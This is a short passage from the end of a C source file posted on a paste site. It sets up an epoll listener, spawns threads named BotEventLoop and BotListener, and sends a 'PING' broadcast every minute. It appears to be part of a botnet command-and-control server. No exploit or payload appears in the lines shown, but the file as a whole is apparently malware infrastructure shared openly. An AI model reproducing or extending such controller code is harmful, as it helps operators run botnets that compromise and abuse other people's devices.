  679. event.events = EPOLLIN | EPOLLET;
  680. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  681. if (s == -1) {
  682. perror ("epoll_ctl");
  683. abort ();
  684. }
  685. pthread_t thread[threads + 2];
  686. while(threads--) {
  687. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  688. }
  689. pthread_create(&thread[0], NULL, &BotListener, port);
  690. while(1) {
  691. broadcast("PING", -1, "LEL");
  692. sleep(60);
  693. }
  694. close (listenFD);
  695. return EXIT_SUCCESS;
  696. }
Add Comment
Please, Sign In to add comment